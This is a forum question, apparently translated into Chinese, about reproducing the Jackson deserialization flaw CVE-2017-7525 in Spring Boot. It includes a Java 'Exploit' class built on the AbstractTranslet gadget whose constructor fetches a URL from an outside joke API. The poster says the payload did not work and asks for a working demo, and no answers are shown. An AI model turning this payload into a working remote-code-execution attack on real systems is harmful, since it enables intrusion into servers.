使用弹簧启动和自定义Java类重现杰克逊漏洞CVE-2017-7525

时间:2019-09-09 21:28:28

标签: java spring-boot jackson deserialization

我了解到正在进行的杰克逊漏洞(CVE-2017-7525),该漏洞可用于远程执行代码,如here所述。 我对该页面上的示例类进行了一些修改,并编写了如下内容:

import java.io.*;
import java.net.*;

public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  private static String urlString = "https://sv443.net/jokeapi/category/any?blacklistFlags=nsfwreligiouspolitical";
  public Exploit() throws Exception {
    StringBuilder result = new StringBuilder();
    URL url = new URL(urlString);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
      result.append(line);
    }
    rd.close();
    //Lets see the joke in the logs
    System.out.println(result);
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler)  {
  }
}


编译.java文件并打开生成的.class文件,并将其内容作为提供的示例api请求主体的一部分传递,但是看来自定义代码可能尚未执行(或者我认为),期望在应用程序日志上看到一些内容,从而打印请求的输出。但是,我看不到任何打印内容。 有没有人有一个简单的示例,通过使用虚假杰克逊的api调用,通过spring boot和jackson展示了此漏洞?

我理解这是一个不寻常的问题,但是我正在研究这个有趣的主题,希望那里有人可以演示这个问题。

简而言之,我想通过使用api调用并传递一个包含要执行的已编译Java代码的Json文档,来演示在使用Spring Boot,Jackson时演示此Java反序列化漏洞。

0 个答案:

没有答案